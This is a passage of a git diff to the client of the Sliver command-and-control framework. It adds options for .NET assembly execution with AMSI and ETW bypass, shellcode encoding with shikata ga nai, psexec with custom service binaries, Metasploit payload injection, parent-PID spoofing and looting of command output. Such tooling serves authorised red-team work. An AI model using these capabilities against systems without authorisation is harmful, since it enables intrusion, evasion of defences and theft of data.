f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1045,8 +1146,12 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
},
Args: func(a *grumble.Args) {
a.String("filepath", "path the DLL file")
@@ -1135,6 +1240,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("d", "service-description", "Sliver implant", "description of the service")
f.String("p", "profile", "", "profile to use for service binary")
f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1199,6 +1305,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1253,6 +1362,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1391,6 +1503,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "canary", "", "canary domain(s)")
f.String("N", "name", "", "implant name")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
@@ -1401,6 +1514,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1450,16 +1566,20 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "canary", "", "canary domain(s)")
f.String("N", "name", "", "implant name")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1574,6 +1694,24 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Filesystem ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.MvStr,
Help: "Move or rename a file",
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("src", "path to source file")
a.String("dst", "path to dest file")
},
Run: func(ctx *grumble.Context) error {
err := filesystem.MvCmd(ctx, con)
return err
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.LsStr,
Help: "List current directory",
@@ -1602,7 +1740,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Bool("r", "recursive", false, "recursively remove files")
f.Bool("f", "force", false, "ignore safety and forcefully remove files")
f.Bool("F", "force", false, "ignore safety and forcefully remove files")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1681,6 +1819,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "colorize-output", false, "colorize output")
f.Bool("x", "hex", false, "display as a hex dump")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
},
Args: func(a *grumble.Args) {
a.String("path", "path to the file to print")
@@ -1702,6 +1843,10 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("X", "loot", false, "save output as loot")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
f.String("n", "name", "", "name to assign the download if looting")
f.Bool("r", "recurse", false, "recursively download all files in a directory")
},
Args: func(a *grumble.Args) {
a.String("remote-path", "path to the file or directory to download")
@@ -1812,6 +1957,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1838,7 +1985,7 @@ func BindCommands(con *console.SliverConsoleClient) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "disregard safety and kill the PID")
f.Bool("F", "force", false, "disregard safety and kill the PID")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2045,6 +2192,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2088,6 +2236,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Bool("F", "force", false, "force killing of the beacon")
f.String("f", "filter", "", "filter beacons by substring")
f.String("e", "filter-re", "", "filter beacons by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.GenericHelpGroup,
@@ -2379,7 +2531,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
Flags: func(f *grumble.Flags) {
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
f.Bool("a", "allow-all", false, "allow all users to connect")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -2671,7 +2823,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
f.Uint64("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -2757,7 +2909,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Add a remote file from the current session to the server's loot store",
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
Args: func(a *grumble.Args) {
a.String("path", "The local file path to the loot")
a.String("path", "The file path on the remote host to the loot")
},
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "name of this piece of loot")
@@ -3138,7 +3290,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host")
a.String("connection-string", "connection string to the Operator Host (e.g. 127.0.0.1:1234)")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
+44 -47
View File
@@ -20,13 +20,11 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -60,19 +58,43 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
runtime := ctx.Flags.String("runtime")
etwBypass := ctx.Flags.Bool("etw-bypass")
amsiBypass := ctx.Flags.Bool("amsi-bypass")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Int("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: ctx.Flags.Bool("in-process"),
})
ctrl <- true
<-ctrl
@@ -80,7 +102,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s", err)
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
@@ -88,52 +110,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
}
}
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+37 -7
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
rwxPages := ctx.Flags.Bool("rwx-pages")
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch := ctx.Flags.String("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter := ctx.Flags.Int("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iter),
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
return
}
ctrl := make(chan bool)
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
RWXPages: rwxPages,
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
})
@@ -125,7 +155,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
@@ -161,9 +191,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *terminal.State
var oldState *term.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +225,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
terminal.Restore(0, oldState)
term.Restore(0, oldState)
}
log.Printf("Exit interactive")
+138 -25
View File
@@ -18,7 +18,11 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
@@ -41,6 +45,13 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
ppid := ctx.Flags.Uint("ppid")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
var captureOutput bool = output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -51,21 +62,23 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Stderr: stderr,
Stdout: stdout,
if token || ppid != 0 {
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: uint32(ppid),
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
@@ -84,22 +97,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
PrintExecute(exec, ctx, con)
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout := ctx.Flags.String("stdout")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
@@ -111,17 +144,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
return
}
combined := ""
if stdout == "" {
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
con.PrintInfof("Output:\n%s", string(exec.Stdout))
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
@@ -131,13 +161,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = ioutil.TempFile("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+23 -6
View File
@@ -33,8 +33,8 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+29 -6
View File
@@ -25,14 +25,15 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
+39 -25
View File
@@ -21,6 +21,7 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"strings"
"time"
@@ -47,10 +48,12 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
var serviceBinary []byte
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
customExe := ctx.Flags.String("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
@@ -61,35 +64,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
